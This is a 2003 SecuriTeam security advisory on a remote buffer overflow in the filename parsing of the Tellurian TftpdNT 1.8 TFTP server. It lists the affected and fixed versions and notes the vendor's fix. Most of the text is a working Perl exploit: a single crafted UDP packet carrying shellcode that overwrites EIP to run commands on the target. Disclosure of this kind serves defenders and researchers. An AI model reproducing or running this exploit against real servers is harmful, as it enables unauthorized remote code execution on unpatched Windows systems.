[NT] Security Vulnerability in Tellurian TftpdNT (Long Filename)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/26/03

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Date: 26 Aug 2003 15:42:38 +0200

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      Security Vulnerability in Tellurian TftpdNT (Long Filename)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.tellurian.com.au/> Tellurian TftpdNT is a TFTP server for
    Windows NT and Windows 9x.
    A buffer overflow vulnerability in the product allows remote attackers to
    cause the product to overflow an internal buffer, while executing
    arbitrary code.

    DETAILS

    Vulnerable systems:
     * TftpdNT version 1.8
     
    Immune systems:
     * TftpdNT version 2.0
     
    It is possible to cause a buffer overflow in the Tellurian TftpdNT
    product, while overwriting the EIP pointer - this allows remote command
    execution.
    The overflow occurs in the product's parsing of the filename.
     
    Vendor status:
    The vendor has been informed, and has fixed the issue within 24 hours. A
    new version is available on the web site.
     
    Exploit:
    #!/usr/bin/perl -w
    #Tellurian TFTP Server buffer overflow vulnerability
     
    use IO::Socket;
    $host = "192.168.1.44";
    $port = "69";
     
    $shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\
    \xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\
    \xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\
    \x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F";
     
    $buf = "\x00\x02";
    $buf .= "\x41"x(508-length($shellcode));
    $buf .= $shellcode;
    $buf .= "\x0F\x02\xC7"; # EIP
    $buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00";
     
    print "Length: ", length($buf), "\n";
     
    $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
    $@\n";
    $ipaddr = inet_aton($host) || $host;
    $portaddr = sockaddr_in($port, $ipaddr);
    send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
    $!\n";
    print "Done\n";

    ADDITIONAL INFORMATION

    SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
    finding this vulnerability.

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